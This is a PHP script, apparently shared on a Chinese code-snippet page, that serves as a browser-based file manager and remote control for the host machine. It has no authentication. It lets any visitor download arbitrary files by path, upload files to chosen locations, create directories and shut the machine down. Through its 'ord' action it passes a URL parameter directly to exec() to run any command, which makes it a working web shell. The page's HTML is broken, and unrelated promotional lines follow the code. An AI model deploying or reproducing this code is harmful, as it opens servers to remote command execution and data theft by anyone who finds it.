1. [代码][PHP]代码
<?php $fp = '';
$path = '';
if(empty($_GET['action'])){
if(empty($_GET['path'])){
$_path = dirname(__FILE__);
}else{
if(is_dir($_GET['path'])){
$_path = $_GET['path'];
}else{
$_path .= dirname($_GET['path']);
$file_name = $_GET['path'];
if (!file_exists($file_name)) { //检查文件是否存在
echo "文件找不到";
} else {
$file = fopen($file_name,"r"); // 打开文件
// 输入文件标签
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length: ".filesize($file_name));
Header("Content-Disposition: attachment; filename=" . str_replace(array(dirname($_GET['path']),'/'),'',$file_name));
// 输出文件内容
echo fread($file,filesize($file_name));
fclose($file);
exit;
}
}
}
}else if($_GET['action'] == 'close'){
$time = intval($_GET['time']) > 0 ? intval($_GET['time']) : $_GET['time'];
exec('shutdown -s -t '.$time);
$_path = $_GET['path'];
}else if($_GET['action'] == 'cancel'){
exec('shutdown -a');
$_path = $_GET['path'];
}else if($_GET['action'] == 'mkdir'){
$_path = $_GET['path'];
$name = $_GET['name'];
$_path .= $name;
mkdir($_path);
}else if($_GET['action'] == 'upload'){
$_path = $_POST['path'];
$name = $_FILES['name'];
move_uploaded_file($name['tmp_name'],$_path . $name['name'] );
}else if($_GET['action'] == 'ord'){
$_path = $_GET['path'];
$name = $_GET['name'];
exec($name);
}
$dir = dir($_path);
?>
| 秒 '" /> '" /> | ||
|---|---|---|
| "> | 删除 | 下载 |
使用官方Model Context Protocol PHP SDK将PHP应用程序功能暴露为MCP工具、资源和提示,用于代理工作流。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!










